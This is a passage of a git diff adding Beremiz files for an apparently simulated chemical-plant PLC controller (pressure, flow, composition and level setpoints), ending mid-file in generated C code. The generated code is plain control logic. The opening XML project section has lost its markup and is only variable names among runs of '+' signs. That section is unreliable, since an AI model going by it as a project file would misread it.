pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // 